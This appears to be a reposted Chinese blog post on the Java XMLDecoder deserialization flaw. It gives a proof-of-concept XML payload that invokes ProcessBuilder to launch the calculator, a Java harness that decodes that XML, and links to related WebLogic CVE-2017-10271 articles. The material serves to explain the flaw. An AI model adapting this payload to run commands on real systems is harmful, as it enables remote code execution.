XMLDecoder反序列化漏洞

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了XMLDecoder反序列化漏洞相关的知识,希望对你有一定的参考价值。

Java 调用XMLDecoder解析XML文件的时候,存在命令执行漏洞。


样例XML文件如下所示:

<?xml version="1.0" encoding="UTF-8"?>
<java version="1.8.0_131" class="java.beans.XMLDecoder">
	<object class="java.lang.ProcessBuilder">
		<array class="java.lang.String" length="1">
			<void index="0">
				<string>calc</string>
			</void>
		</array>
		<void method="start" />
	</object>
</java>


对应Java代码如下所示:

package xmldecoder;

import java.io.BufferedInputStream;  
import java.io.FileInputStream;
import java.io.FileNotFoundException;
import java.io.IOException;  
import java.util.ArrayList;  
import java.util.List;

  


public class XmlDecoderTest {

	public static void main(String[] args) {
		// TODO Auto-generated method stub
		java.io.File file = new java.io.File("d:/tmp/xmldecoder.xml");
		
		java.beans.XMLDecoder xd = null;
		try {
			xd = new java.beans.XMLDecoder(new BufferedInputStream(new FileInputStream(file)));
		} catch (FileNotFoundException e) {
			// TODO Auto-generated catch block
			e.printStackTrace();
		}  
		  
        Object s2 = xd.readObject();  
        xd.close();
	}

}


执行效果如下所示:

技术分享


以上是关于XMLDecoder反序列化漏洞的主要内容,如果未能解决你的问题,请参考以下文章

Weblogic XMLDecoder反序列化漏洞(CVE-2017-10271)

xmldecoder反序列化漏洞分析

XMLDecoder反序列化漏洞

[Java安全]XMLDecoder反序列化漏洞解析流程分析

(CVE-2017-10271 ) Weblogic XMLDecoder 反序列化

WebLogic XMLDecoder反序列化漏洞复现